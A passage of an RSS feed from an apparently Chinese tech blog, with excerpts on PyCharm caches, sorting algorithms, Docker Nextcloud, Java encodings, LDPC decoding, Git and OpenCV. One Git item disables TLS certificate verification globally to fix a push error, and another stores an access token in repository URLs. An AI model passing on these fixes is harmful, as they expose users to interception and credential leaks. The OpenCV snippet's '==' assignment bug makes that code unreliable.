      <description>最近经常用pycharm跑python程序，后来发现根目录的被占用的越来越大，看了有一个网友的是因为mysql 日志过大使得自己的/目录过大，但是我自己查了一下自己并不是那种情况。后来几番查询才得知是pycharm下有一个cashes居然占了35G，我根目录一共才40G。因为自己上次也是遇到这个问题，没有搞定，把系统重装了，这次又遇到这个问题，果断记录。可能你不是pycharm的问题，但可能是其他软件缓存问题，本文供参考。&#xA;查询步骤如下：&#xA;查询自己的内存使用情况，命令为：&#xA;df -lm&#xA;进入/目录查询&#xA;du -sh *|sort -h&#xA;1&#xA;查询各个目录大小，发现/root占了35G&#xA;进到/root中看了一下，基本没什么能占用内存的，除了Pycharm的文件&#xA;于是进入.PycharmCE2018.2文件查询，发现cashes占了35G，应该就是这个罪魁祸首了&#xA;进入cashes有几个文件，其中content.dat.storageData 占用内存最大，将近35G，我天！不知道为什么占用这么大内存，缓存应该无妨，于是删除&#xA;重启电脑后发现，/目录的使用率变为5%</description>
    </item>
    <item>
      <title>【数据结构与算法】内排序算法全解析（附C语言代码）</title>
      <link>https://bchobby.github.io/posts/b8d3e3e1d523907667108c0bf0407cda/</link>
      <pubDate>Thu, 19 Aug 2021 12:58:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8d3e3e1d523907667108c0bf0407cda/</guid>
      <description>导览 0 预备知识0.1 排序的概念0.2 排序的稳定性0.3 内排序与外排序0.4 排序算法的性能0.5 常见排序算法的性能 1 比较排序1.1 插入排序1.1.1 直接插入排序1.1.2 折半插入排序1.1.3 希尔排序 1.2 交换排序1.2.1 冒泡排序1.2.2 快速排序 1.3 选择排序1.3.1 简单选择排序1.3.2 堆排序 1.4 归并排序1.4.1二路归并排序 2 非比较排序2.1 基数排序2.2 计数排序2.3 桶排序 0 预备知识 0.1 排序的概念 排序：将一个记录的无序序列调整成为一个有序序列，使之按关键字递增或递减有序排列的过程。为了提高数据的查找效率，预先排序可以减少获得查找结果的时间。&#xA;关键字：对记录进行排序时的依据。&#xA;如：可以按学生姓名首字母对学生记录进行排序，也可以按学号对学生记录进行排序。&#xA;0.2 排序的稳定性 稳定的排序：如果待排序的记录中存在多个关键字相同的数据，排序后这些具有相同关键字的数据之间的相对次序保持不变。&#xA;不稳定的排序：如果待排序的记录中存在多个关键字相同的数据，排序后这些具有相同关键字的数据之间的相对次序发生变化。&#xA;0.3 内排序与外排序 内排序：排序过程中，排序数据在内存中处理，不涉及数据的内、外存交换。适用于数据量小的数据。&#xA;外排序：排序过程中，涉及数据的内、外存交换。&#xA;内排序是外排序的基础。&#xA;0.4 排序算法的性能 排序算法的性能由算法的时间和空间确定。&#xA;算法时间复杂度：求出算法所有原操作的执行次数T(n)，与算法的执行时间成正比，即可以用T(n)来表示算法的执行时间。算法的时间复杂度一般作为问题规模n的函数，使用T(n)的数量级表示，即&#xA;T ( n ) = O ( f ( n ) ) T(n)=O(f(n)) T(n)=O(f(n))&#xA;常数阶O(1)：一般一个没有循环（或有循环，但循环次数与问题规模n无关）的算法中原操作执行次数与问题规模n无关，执行时间看成O(1)。如定义变量、赋值、输入输出语句。&#xA;线性阶O(n)：一个只有一重循环的算法中原操作执行次数与问题规模n的增长呈现线性增大的关系，执行时间看成O(n)。&#xA;其余常用的还有平方阶O(n2)、立方阶O(n3)、对数阶O(log2n)、指数阶O(2n)等。&#xA;不同时间复杂度的大小关系：&#xA;O ( 1 ) ＜ O ( l o g 2 n ) ＜ O ( n ) ＜ O ( n l o g 2 n ) ＜ O ( n 2 ) ＜ O ( n 3 ) ＜ O ( 2 n ) ＜ O ( n !</description>
    </item>
    <item>
      <title>8-18日报博文</title>
      <link>https://bchobby.github.io/posts/008a0f95aad5f6d11f7404431c1f2427/</link>
      <pubDate>Wed, 18 Aug 2021 17:45:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/008a0f95aad5f6d11f7404431c1f2427/</guid>
      <description>正交实验法&#xA;在软件测试过程中，我们会遇到一些可能的输入数据或者这些输入数据的组合数量很大的情况，由于不可能为每个输入组合都创建测试用例，而使用一般的测试方法会产生大量的冗余测试，因此我们想到了一种新的测试用例设计方法——正交试验法。&#xA;正交表测试策略是一种成对测试交互的系统的统计的方法。它提供了一种能对所有变量对的组合进行典型覆盖（均匀分布）的方法。正交排列法能够使用最小的测试过程集合获得最大的测试覆盖率。&#xA;正交表是由行数、因素数、水平数构成的。&#xA;行数（Runs）：正交表中的行的个数，即试验的次数。&#xA;因素数（Factors）：正交表中列的个数。&#xA;水平数（Levels）：任何单个因素能够取得的值的最大个数。正交表中的包含的值为从0到数“水平数-1”或从1到“水平数”。&#xA;正交表的表示形式：&#xA;正交表具有以下特性：&#xA;整齐可比性在同一张正交表中，每个因素的每个水平出现的次数是完全相同的。由于在试验中每个因素的每个水平与其它因素的每个水平参与试验的机率是完全相同的，这就保证在各个水平中最大程度的排除了其它因素水平的干扰。因而，能最有效地进行比较和作出展望，容易找到好的试验条件。&#xA;均衡分散性在同一张正交表中，在任意2列其横向组成的数字对中，每种数字对出现的次数相等。这样就保证了试验条件均衡地分散在因素水平的完全组合之中，因而具有很强的代表性，容易得到好的试验条件。&#xA;用正交表设计测试用例的步骤：&#xA;1 确定交互测试中有多少个相互独立的变量，这映射到表中的因素数（Factors）&#xA;2 确定每个变量可以取值的的个数的最大数，这映射到表中的水平数（Levels）&#xA;3 选择一个次数（Run）数最少的最适合的正交表。一个最合适的正交表是至少满足第一步说明的因素数且至少满足第二步说明的水平数&#xA;4 把因素和值映射到表中&#xA;5 为剩下的水平数选取值&#xA;6 把次数中所描述的组合转化成测试用例，再增加一些没有生成的但可疑的测试用例&#xA;如何选择正交表：&#xA;考虑因素（变量）的个数 考虑因素水平（变量的取值）的个数 考虑正交表的行数 取行数最少的一个&#xA;查询正交表&#xA;http://support.sas.com/techsup/technote/ts723_Designs.txt&#xA;一个简单的例子：水平数（变量的取值）相同、因素数（变量）刚好符合正交表 假设查询某个人时有三个查询条件：根据“姓名”、“身份证号码”、“手机号码”查询&#xA;考虑查询条件要么不填写，要么填写，此时可用正交表进行设计 有三个因素： 姓名、身份证号、手机号码 每个因素有两个水平 姓名：填、不填 身份证号：填、不填 手机号码：填、不填&#xA;表中的因素数＞＝3 表中至少有三个因素的水平数＞＝2 行数取最少的一个 结果： 姓名：0 填写，1 不填写 身份证号：0 填写，1 不填写 手机号码： 0 填写，1 不填写&#xA;测试用例如下： 1：填写姓名、填写身份证号、填写手机号 2：填写姓名、不填身份证号、不填手机号 3：不填姓名、填写身份证号、不填手机号 4：不填姓名、不填身份证号、填写手机号 增补测试用例 5：不填姓名、不填身份证号、不填手机号&#xA;测试用例减少数： 8→5</description>
    </item>
    <item>
      <title>word转pdf时图片模糊/分辨率不高解决方案</title>
      <link>https://bchobby.github.io/posts/7fd58395a9f9c48954627fa3d933ed50/</link>
      <pubDate>Wed, 18 Aug 2021 17:21:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fd58395a9f9c48954627fa3d933ed50/</guid>
      <description>一般我们进行文件传输时，为了保持格式的稳定性，经常会将doc格式转为pdf格式，但是有时会发现转换后图片会变得异常模糊，分辨率不高。&#xA;网上有很多解决办法，但大多比较复杂且最终效果不好。&#xA;这里介绍一种简单有效的解决方案。&#xA;以word2016为例。首先打开word，进入文件&amp;gt;选项&amp;gt;高级&amp;gt;图像大小和质量，勾选【不压缩文件中的图像】，并将默认目标输出设置为330ppi，并应用于所有新文档，最后点击确定。&#xA;最后进行pdf导出设置。进入文件&amp;gt;导出&amp;gt;创建pdf文档，勾选【标准(联机发布和打印)】，选项中勾选【符合ISO 标准】，最后确定即可。&#xA;切记不要勾选【无法嵌入字体情况下显示文本位图】&#xA;最后即可获得较高分辨率的图片&#xA;转自本人新浪博客：http://blog.sina.com.cn/cugigg</description>
    </item>
    <item>
      <title>docker搭建Nextcloud服务器并挂栽samba共享文件</title>
      <link>https://bchobby.github.io/posts/ac61087989daf8b49d6a068152d5a395/</link>
      <pubDate>Wed, 18 Aug 2021 14:52:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac61087989daf8b49d6a068152d5a395/</guid>
      <description>一、新建本地文件夹，用来存储实际文件&#xA;mkdir /home/Nextcloud mkdir /home/Nextcloud/apps /home/Nextcloud/data /home/Nextcloud/theme /home/Nextcloud/config 二、使用docker构建Nextcloud服务&#xA;docker run -itd --name nextcloud \ -v /home/Nextcloud:/var/www/html \ -v /home/Nextcloud/apps:/var/www/html/custom_apps \ -v /home/Nextcloud/config:/var/www/html/config \ -v /home/Nextcloud/data:/var/www/html/data \ -v /home/Nextcloud/theme:/var/www/html/themes/&amp;lt;YOUR_CUSTOM_THEME&amp;gt; \ nextcloud 三、打开服务器ip地址，填写管理员账号、密码，做好初始设置&#xA;3.1 删除docker容器删除后多余的卷&#xA;# 先用下列命令看一下那些卷没有用处 docker volume ls -qf dangling=true # 具体的删除操作 docker volume rm 卷的代码 #通常是一长串字符，和容器镜像类似，但是要更长 四、添加外部存储的支持性插件&#xA;五、通常默认是不支持SMB协议的&#xA;六、进入容器，安装smbclient&#xA;docker exec -it nextcloud bash apt update apt install smbclient libsmbclient-dev pecl install smbclient docker-php-ext-enable smbclient 七、退出容器，重启容器&#xA;八、增加存储，填写相关的外部samba共享信息即可</description>
    </item>
    <item>
      <title>【Java】再谈java乱码：GBK和UTF-8互转尾部乱码问题分析</title>
      <link>https://bchobby.github.io/posts/b81a74f94f926c6a3e383315748cf400/</link>
      <pubDate>Tue, 17 Aug 2021 23:29:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b81a74f94f926c6a3e383315748cf400/</guid>
      <description>一直以为，java中任意unicode字符串，可以使用任意字符集转为byte[]再转回来，只要不抛出异常就不会丢失数据，事实证明这是错的。&#xA;经过这个实例，也明白了为什么 getBytes()需要捕获异常，虽然有时候它也没有捕获到异常。&#xA;言归正传，先看一个实例。&#xA;用ISO-8859-1中转UTF-8数据&#xA;设想一个场景：&#xA;用户A，有一个UTF-8编码的字节流，通过一个接口传递给用户B；&#xA;用户B并不知道是什么字符集，他用ISO-8859-1来接收，保存；&#xA;在一定的处理流程处理后，把这个字节流交给用户C或者交还给用户A，他们都知道这是UTF-8，他们解码得到的数据，不会丢失。&#xA;下面代码验证：&#xA;public static void main(String[] args) throws Exception { //这是一个unicode字符串，与字符集无关 String str1 = &#34;用户&#34;; System.out.println(&#34;unicode字符串：&#34;+str1); //将str转为UTF-8字节流 byte[] byteArray1=str1.getBytes(&#34;UTF-8&#34;);//这个很安全，UTF-8不会造成数据丢失 System.out.println(byteArray1.length);//打印6，没毛病 //下面交给另外一个人，他不知道这是UTF-8字节流，因此他当做ISO-8859-1处理 //将byteArray1当做一个普通的字节流，按照ISO-8859-1解码为一个unicode字符串 String str2=new String(byteArray1,&#34;ISO-8859-1&#34;); System.out.println(&#34;转成ISO-8859-1会乱码：&#34;+str2); //将ISO-8859-1编码的unicode字符串转回为byte[] byte[] byteArray2=str2.getBytes(&#34;ISO-8859-1&#34;);//不会丢失数据 //将字节流重新交回给用户A //重新用UTF-8解码 String str3=new String(byteArray2,&#34;UTF-8&#34;); System.out.println(&#34;数据没有丢失：&#34;+str3); } 输出：&#xA;unicode字符串：用户 6 转成ISO-8859-1会乱码：ç”¨æˆ· 数据没有丢失：用户 用GBK中转UTF-8数据&#xA;重复前面的流程，将ISO-8859-1 用GBK替换。&#xA;只把中间一段改掉：&#xA;//将byteArray1当做一个普通的字节流，按照GBK解码为一个unicode字符串 String str2=new String(byteArray1,&#34;GBK&#34;); System.out.println(&#34;转成GBK会乱码：&#34;+str2); //将GBK编码的unicode字符串转回为byte[] byte[] byteArray2=str2.getBytes(&#34;GBK&#34;);//数据会不会丢失呢？ 运行结果：&#xA;unicode字符串：用户 6 转成GBK会乱码：鐢ㄦ埛 数据没有丢失：用户 好像没有问题，这就是一个误区。&#xA;修改原文字符串重新测试&#xA;将两个汉字 “用户” 修改为三个汉字 “用户名” 重新测试。</description>
    </item>
    <item>
      <title>LDPC译码原理</title>
      <link>https://bchobby.github.io/posts/b72228858755562d26f126dc13bd5339/</link>
      <pubDate>Tue, 17 Aug 2021 17:41:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b72228858755562d26f126dc13bd5339/</guid>
      <description>1.LDPC译码的背景及内容 LDPC译码分为硬判决译码和软判决译码。&#xA;硬判决译码又称代数译码，主要代表是比特翻转（BF）译码算法，它的实现比较简单，但是译码性能很差。硬判决译码的基本假设是当校验方程不成立时，说明此时必定有比特位发生了错误，而所有可能发生错误的比特中不满足检验方程个数最多的比特发生错误的概率最大。在每次迭代时翻转发生错误概率最大的比特并用更新之后的码字重新进行译码。&#xA;软判决译码是一种基于概率论的译码算法，通常需要与迭代译码进行结合，才能体现成译码性能的优势，基本算法是置信传播（BP）译码算法，它的实现比代数译码方法的复杂度高很多，但译码性能非常好。&#xA;为了解决BP译码算法实现困难问题，在学术界牵起了优化算法的浪潮，对数域置信传播译码（LLR BP）算法、最小和（Min-Sum）译码算法、Normalized Min-Sum译码算法、Offset Min-Sum译码算法等相继涌现。&#xA;在迭代译码的过程中，信息调度方式分为两种：泛滥式调度和分层式调度。泛滥式调度的特点在于每一次译码迭代过程中，首先计算从变量节点到校验节点的所有软信息，然后计算从校验节点到变量节点的所有软信息。分层调度的特点是在计算每层软信息时，更新此次迭代中的相关的节点信息，用于下一层的软信息计算。&#xA;LDPC译码结构的设计方面主要分为三种：全并行译码结果、行并行译码结构、块并行译码结构。泛滥式的调度比较适合全并行结构，但是译码器的硬件复杂度始终是一个技术瓶颈。分层式的调度适合行并行和块并行结构，可以减少译码所需的迭代次数。&#xA;2.LDPC码设计 LDPC码是一种分组码，其校验矩阵只含有很少量非零元素（稀疏矩阵）。&#xA;码的设计是以设计一个校验矩阵开始的，然后才通过它确定一个生成矩阵进行后续编码。而LDPC的编码就是本文所要讨论的主体内容。对于LDPC码而言，校验矩阵的选取十分关键，不仅影响LDPC码的纠错性能力，也影响LDPC编译码的复杂度及硬件实现的复杂度。准循环LDPC码（Quasi-Cycle,QC-LDPC）是LDPC码中重要的一类，是指一个码字以右移或左移固定位数的符号位得到的仍是一个码字。QC-LDPC码的校验矩阵是由循环子矩阵的阵列组成，相对于其他类型的LDPC码，在编码和解码的硬件实现上具有许多优点。&#xA;置信传播（BP）译码算法，置信传播算法是基于Tanner图的迭代译码算法。在迭代过程中，可靠性消息，即“消息”通过Tanner图上的边在变量节点和校验节点中来回传递，经多次迭代后趋于稳定值，然后据此进行最佳判决，BP译码算法有着非常好的译码性能。&#xA;校验矩阵：&#xA;对应Tanner 图：&#xA;n个码字比特顶点（称为比特节点），分别与校验矩阵的各列相对应；&#xA;m个校验方程顶点（称为校验节点），分别与校验矩阵的各行对应。&#xA;循环以这群顶点中的一个同时作为起点和终点，且只经过每个顶点一次。循环的长度定义为它所包含的连线的数量，而图形的围长，也可叫做图形的尺寸，定义为图中最小的循环长度。上图围长为6。&#xA;2.1置信传播算法 置信传播算法（Belief Propagation）译码算法是消息传递（Message Passing）算法在LDPC译码中的运用。消息传递算法是一个算法类，最初运用于人工智能领域，人们将其运用到LDPC码的译码算法中，提出来LDPC码的置信传播算法。置信传播算法是基于Tanner图的迭代译码算法。在迭代过程中，可靠性消息，即“消息”通过Tanner图上的边在变量节点和校验节点中来回传递，经过多次迭代后区域稳定值，然后据此进行最佳判决。&#xA;置信传播译码算法的基本流程如下：&#xA;在迭代前，译码器接收到信道传送过来的实值序列y = (y1,y2,…,yn)，所有变量节点接收到对应的接收值yi。&#xA;第一次迭代：每个变量节点给所有与之相邻的校验节点传送一个可靠消息，这个可靠消息就是信道传送过来的值；每个校验节点接收到变量节点传送过来的可靠消息之后，进行处理，然后返回一个新的可靠消息信息给与之相邻的变量节点，这样就完成第一次迭代；此时可以进行判决，如果满足校验方程，则不需要再迭代，直接输出判决结果，否则进行第二次迭代。&#xA;第二次迭代：每个变量节点处理第一次迭代完成时校验节点传送过来的可靠消息，处理完成后新的消息发送给校验节点，同理，校验节点处理完后返回给变量节点，这样就完成了第二次迭代。完成后同样进行判决，如果满足校验方程则结束译码，否则如此反复多次迭代，每次都进行判决，直到达到设定的最大迭代次数，译码失败。在每次迭代过程中，无论是变量节点传送给校验节点的信息或者校验节点传送给变量节点的信息，都不应该包括前次迭代中接收方发送给发送方的信息，这样是为了保证发送的信息与接受节点已得到的信息相互对立。&#xA;译码结束：&#xA;如果或者达到最大译码迭代次数时，译码停止。&#xA;2.2对数域置信传播算法 置信传播算法中包含大量乘法运算，乘法运算结果稳定性比较差，波动性高，且复杂度高，运算时间较长，因而出现了对数域置信传播算法，将概率消息用对数似然比进行表示，概率域的乘法转换成对数域的加法。&#xA;根据以上，LLR BP译码算法的迭代译码步骤如下：&#xA;（主要是根据3-9对数域、概率域之间的转换）&#xA;以上可知，LLR BP相较于BP译码算法在保证译码性能的同时也大大减少了运算的复杂度。&#xA;2.3最小和译码算法 最小和译码（MS，Min-Sum）算法是以LLR BP算法译码为基础，对校验节点信息更新的表达式进行的简化，其余步骤均与LLR BP译码算法一致。&#xA;Tanh函数：&#xA;由上图，可以知道tanh的一些特点。tanh函数是奇函数，定义域内单调增加，值域在（-1,1）之间。&#xA;比较LLR BP译码算法和Min-Sum译码算法的校验节点信息更新过程，可以看到他们的主要区别在于LLR BP译码算法中的tanh(.)运算和加法运算在Min-Sum译码算法中被最小值和运算符号进行替换，MS译码简化了LLR BP译码算法，降低了译码算法的复杂度。 2.4改进的最小和译码算法 Min-Sum算法的简化方案不是精确计算而是近似方案，因而计算出的校验节点信息值和原始的实际值会存在误差，即过大估计问题。这将会导致译码过程的收敛速度减慢，译码性能也会有所损失。因此，研究人员提出了两种有效的方案：Normalized Min-Sum算法和Offset Min-Sum算法。&#xA;（1）Normalized Min-Sum算法&#xA;算法主要思想是在MS算法计算校验节点信息更新的步骤中对计算结果乘一个修正因子进行调整，缩小两者之间的差距。&#xA;（2） Offset Min-Sum算法&#xA;算法主要思想是在MS算法计算校验节点更新信息的步骤中对计算结果减一个修正因子进行误差补偿。&#xA;这两种改进方案复杂度差不多，但在译码性能方面远超MS译码算法，具有比较接近LLR BP译码算法的性能。</description>
    </item>
    <item>
      <title>Git场景命令</title>
      <link>https://bchobby.github.io/posts/923dee48f38f19e1162efa71c4a9ed85/</link>
      <pubDate>Tue, 17 Aug 2021 16:36:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/923dee48f38f19e1162efa71c4a9ed85/</guid>
      <description>git根据场景而用到的命令行&#xA;stash 场景：临时拉取最新线上仓库代码，但是又不想提交已修改的代码到本地仓库，可以先缓存本地修改过的代码（没有commit），拉取最新代码完成，再恢复缓存的代码。步骤： 1. git stash - 把本次修改的代码加入缓存，本地仓库代码恢复到上次拉取的时间节点。2. git pull - 通过pull拉取最新代码，这时候本地的仓库和线上仓库最新代码一致。3. git stash pop - 把本次修改的代码缓存重新恢复到本地仓库，就可以在比提交的情况下，继续开发了。fetch 场景一：git branch -a 无法显示所有分支，因为本地没有拉取所有远程仓库信息场景二：checkout 切换分支，报错fatal: Cannot update paths and switch to branch ‘xxx’ at the same time.&#xA;Did you intend to checkout ‘origin/xxx’ which can not be resolved as commit? 意思就是找不到路径解决：git fetch origin 拉取远程仓库信息，再执行其他命令，事半功倍。checkout 场景：同事在远程仓库新建了一个分支，你需要拉取，并保持本地名字和远程分支名字一直。 代码：git checkout -b dev（本地分支名） origin/dev（远程分支名）</description>
    </item>
    <item>
      <title>git push报错：fatal: unable to access ‘https://XXXX.git/‘: Peer‘s Certificate issuer is not recognized.</title>
      <link>https://bchobby.github.io/posts/9e26f4bb1c55ba69077ce7427c338055/</link>
      <pubDate>Tue, 17 Aug 2021 15:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e26f4bb1c55ba69077ce7427c338055/</guid>
      <description> 推镜像的时候，git push报错：fatal: unable to access &#39;https://XXXX.git/&#39;: Peer&#39;s Certificate issuer is not recognized.&#xA;然后去服务器克隆，仍然报错&#xA;解决：&#xA;git对https的仓库不知道为什么，总有问题，据说是系统证书的问题，跳过去就行&#xA;git config --global http.sslVerify false&#xA;克隆成功了，这边git push也成功了 </description>
    </item>
    <item>
      <title>chrome进入控制台时自动进入断点模式的解决方法</title>
      <link>https://bchobby.github.io/posts/c36bc362fc6e049b84eec499a1d51ba4/</link>
      <pubDate>Tue, 17 Aug 2021 13:50:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c36bc362fc6e049b84eec499a1d51ba4/</guid>
      <description> chrome进入控制台时自动进入断点模式的解决方法&#xA;参考文章：&#xA;（1）chrome进入控制台时自动进入断点模式的解决方法&#xA;（2）https://www.cnblogs.com/xuange306/p/5983166.html&#xA;备忘一下。 </description>
    </item>
    <item>
      <title>dubbo可视化界面工具安装（zookeeper、linux、provider、consumer）实例配置、测试、运行</title>
      <link>https://bchobby.github.io/posts/98df2a5d645995b54163f79f755a1916/</link>
      <pubDate>Mon, 16 Aug 2021 23:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98df2a5d645995b54163f79f755a1916/</guid>
      <description>dubbo可视化界面工具安装（zookeeper、linux、provider、consumer）实例配置、测试、运行 文章目录 dubbo可视化界面工具安装（zookeeper、linux、provider、consumer）实例配置、测试、运行一、安装linux和zookeeper并配置二、构建服务提供者(Provider)项目构建一个web的maven项目引入jar包创建业务层（简单做个测试）applicationContext-service.xml主配置文件web.xml文件 三、dubbo-admin工具使用安装配置JDK8下载dubbo-admin启动tomcat修改被解压后的dubbo-admin的配置文件重启tomcat测试dubbo-admin 四、构建服务消费者(Consumer)项目构建一个web的maven项目引入jar包创建业务层（测试使用）创建controller层（测试）applicationContext-web.xml主配置文件web.xml文件启动试试再次使用dubbo-admin可视化发送请求 一、安装linux和zookeeper并配置 一文就够了（安装linux和zookeeper并配置） 二、构建服务提供者(Provider)项目 构建一个web的maven项目 过程不再演示&#xA;引入jar包 pom.xml文件 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;org.example&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbodemo_provider&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;packaging&amp;gt;war&amp;lt;/packaging&amp;gt; &amp;lt;name&amp;gt;dubbodemo_provider Maven Webapp&amp;lt;/name&amp;gt; &amp;lt;!-- FIXME change it to the project&#39;s website --&amp;gt; &amp;lt;url&amp;gt;http://www.example.com&amp;lt;/url&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;maven.compiler.source&amp;gt;14&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;14&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;spring.version&amp;gt;5.0.5.RELEASE&amp;lt;/spring.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-context&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-beans&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-aspects&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>C&#43;&#43;OpenCV系统学习（8）——图像边缘填充、边缘提取、边缘检测</title>
      <link>https://bchobby.github.io/posts/e82cc0e85965d3c0aff9783636a4bb36/</link>
      <pubDate>Mon, 16 Aug 2021 22:08:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e82cc0e85965d3c0aff9783636a4bb36/</guid>
      <description>1.图像边缘填充 1.1卷积边界问题 图像卷积的时候边界像素不被卷积操作，原因在于边界像素没有完全跟kernel重叠，只有当3X3的滤波时候有一个像素的边缘没有被处理，5x5滤波的时候有两个像素边缘没有处理。&#xA;1.2.处理边缘 在卷积开始之前增加边缘像素，填充的像素值为0或者RGB黑色，比如3x3在四周各填充1各像素的边缘，这样就确保图像的边缘被处理，在卷积处理hi后再去掉这些边缘，openCV中默认的处理方式就是：BORDER_DEFAULT，此外还有常用&#xA;BOEDER_CONSTANT-填充边缘用指定像素BOEDER_REPLICATE-填充边缘像素用已知的边缘像素BOEDER_WRAP-用另外一边的像素来补充填充 1.3.给图像添加边缘的API copyMakeBorder( Mat src,//输入图像 Mat dst,//添加边缘图像 int top,//边缘长度，一般上下左右都取相同值 int bottom, int left, int right, int borderType//边缘类型 Scalar value ) 1.4代码 void MyApi::image_edge_processing(Mat&amp;amp; image) { //每半秒中图像的边缘就会变化一次，我们也可以通过按键选择变化的类型 Mat dst; int top = (int)(0.05 * image.rows); int bottom = (int)(0.05 * image.rows); int left = (int)(0.05 * image.cols); int right = (int)(0.05 * image.cols); RNG rng(12345); int borderType = BORDER_DEFAULT; int c = 0; while (true) { c = waitKey(500); //ESC if ((char)c == 27) { break; } if ((char)c == &#39;r&#39;) { borderType = BORDER_REPLICATE; } else if ((char)c == &#39;w&#39;) { borderType == BORDER_WRAP; } else if ((char)c == &#39;c&#39;) { borderType == BORDER_CONSTANT; } Scalar color = Scalar(rng.</description>
    </item>
    <item>
      <title>git token使用</title>
      <link>https://bchobby.github.io/posts/b0b8c6f9426afba5b02cec3c71377766/</link>
      <pubDate>Mon, 16 Aug 2021 22:00:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0b8c6f9426afba5b02cec3c71377766/</guid>
      <description> 2021年8月13日，git不再支持密码方式验证，而是建议使用token。&#xA;token生成 个人设置 &amp;gt; Settings &amp;gt; Personal access tokens &amp;gt; Generate new token&#xA;token使用 clone新的项目时，拼接token和http链接：https://$GH_TOKEN@github.com/owner/repo.gitclone新的项目时使用http链接，密码换成token已经clone的项目，在.git/config中将原来的http中加入token：https://$GH_TOKEN@github.com/owner/repo.git </description>
    </item>
    <item>
      <title>PFC2D学习笔记——刚性簇（clump）生成</title>
      <link>https://bchobby.github.io/posts/1779f4ce04bbeba277adff94e88a6c6d/</link>
      <pubDate>Mon, 16 Aug 2021 09:48:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1779f4ce04bbeba277adff94e88a6c6d/</guid>
      <description>刚性簇（clump）是相对于柔性簇（cluster）而言，每个clump由多个ball构成，刚性簇间的ball没有相对变形，因此不会破坏。&#xA;1、利用clump create 命令生成刚性簇&#xA;关键词calculate表示采用PFC5.0自带的覆盖法计算惯性参数，所跟值范围为（0,1），值越小（最小0.00005）计算越逼近理论值，越大则越粗糙；&#xA;关键词density指定clump的密度；&#xA;group指定分组；&#xA;id指定编号；&#xA;inertia指定惯性运动参量；&#xA;pebbles指定构成clump的pebble数目、半径与位置；&#xA;position指定clump中心位置（不能与calculate同时用）；&#xA;volume指定clump的体积或面积；&#xA;x/y/z用于指定的clump的中心坐标。&#xA;2、定义模板(clump template命令)后利用clump generate命令生成刚性簇&#xA;这种方法通常利用单个或多个块体结合clump template方法来制备模型。其生成过程可以描述如下:&#xA;(1)首先绘制不规则几何体形状，写成PFC可识别的stl、 geom或者dxf文件&#xA;格式。&#xA;(2)然后采用geometry import命令导人几何体模型。&#xA;(3)按照多个几何图形集分别制作clump模板(template) 。&#xA;(4) 基于clump模板，再用ball generate或者clump distribute命令进行刚性簇的随机投放。&#xA;3、基于簇模板随机生成方法&#xA;（1）当采用 numbin inum 时，指定级配数目。需要用bin 关键字分别指定每个级配簇的尺寸等参数簇，其中bin后跟azimuth fazlow fazhi 设置随机旋转clump模板的方位范围; density fdens指定簇的密度，默认1. 0; elevation fellow felhi 模板绕y轴旋转角度。&#xA;（2）当采用 box X Y Z 关键词时，表明簇投放区域由矩形域确定，超出该范围的簇自动删除。&#xA;（3）当采用 porosity 关键词时，指定孔隙率，当达到目标孔隙率时，簇生成停止。默认二维情况下的孔隙率0.16，三维情况下0.359。&#xA;（4）当采用 diameter 